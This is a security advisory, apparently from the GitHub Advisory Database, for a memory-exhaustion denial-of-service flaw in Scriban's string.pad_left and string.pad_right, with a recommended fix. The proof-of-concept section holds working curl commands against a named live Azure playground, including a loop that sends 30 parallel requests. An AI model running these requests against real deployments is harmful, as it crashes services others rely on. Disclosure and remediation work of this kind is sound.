Scriban
Affected
- introduced
0, fixed7.0.0(ecosystem)
Fixed versions
7.0.0
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-74788
Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service
Summary
The built-in string.pad_left and string.pad_right template functions in Scriban perform no validation on the width parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via OutOfMemoryException.
Details
StringFunctions.PadLeft and StringFunctions.PadRight (src/Scriban/Functions/StringFunctions.cs:1181-1203) directly delegate to .NET's String.PadLeft(int) / String.PadRight(int) with no bounds checking:
// src/Scriban/Functions/StringFunctions.cs:1181-1183
public static string PadLeft(string text, int width)
{
return (text ?? string.Empty).PadLeft(width);
}
// src/Scriban/Functions/StringFunctions.cs:1200-1202
public static string PadRight(string text, int width)
{
return (text ?? string.Empty).PadRight(width);
}
The TemplateContext.LimitToString property (default 1MB, set at TemplateContext.cs:147) does not prevent the allocation. This limit is only checked during ObjectToString() conversion (TemplateContext.Helpers.cs:101-103), which runs *after* the string has been fully allocated by PadLeft/PadRight. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.
The Scriban.AppService playground (src/Scriban.AppService/Program.cs:63-140) exposes POST /api/render with:
CancellationTokenSource (line 118) — but this only cancels the await Task.Run(...), not the running template.Render() call (line 122). The BCL PadLeft allocation completes atomically before the cancellation can take effect.PoC
Single request to crash or degrade the AppService:
curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}'
This 39-byte template causes PadLeft(500000000) to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).
Expected result: The service returns an error or truncated output safely.
Actual result: The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws OutOfMemoryException crashing the process.
Sustained attack with rate limiting:
# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure
for i in $(seq 1 30); do
curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' &
done
wait
The string.pad_right variant works identically:
curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}'
Impact
scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net.OutOfMemoryException with a single HTTP request.LimitToString and timeout mitigations do not prevent the intermediate memory allocation.Recommended Fix
Add width validation in StringFunctions.PadLeft and StringFunctions.PadRight to cap the maximum allocation. A reasonable upper bound is the LimitToString value from the TemplateContext, or a fixed maximum if the context is not available:
// src/Scriban/Functions/StringFunctions.cs
// Option 1: Fixed reasonable maximum (simplest fix)
public static string PadLeft(string text, int width)
{
if (width < 0) width = 0;
if (width > 1_048_576) width = 1_048_576; // 1MB cap
return (text ?? string.Empty).PadLeft(width);
}
public static string PadRight(string text, int width)
{
if (width < 0) width = 0;
if (width > 1_048_576) width = 1_048_576; // 1MB cap
return (text ?? string.Empty).PadRight(width);
}
Alternatively, make the functions context-aware and use LimitToString as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.
High Basis: The source's own band: HIGH
0, fixed 7.0.0 (ecosystem)7.0.0
The export has no generic command for this ecosystem.
0, fixed 7.0.0 (ecosystem)7.0.0
The export has no generic command for this ecosystem.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0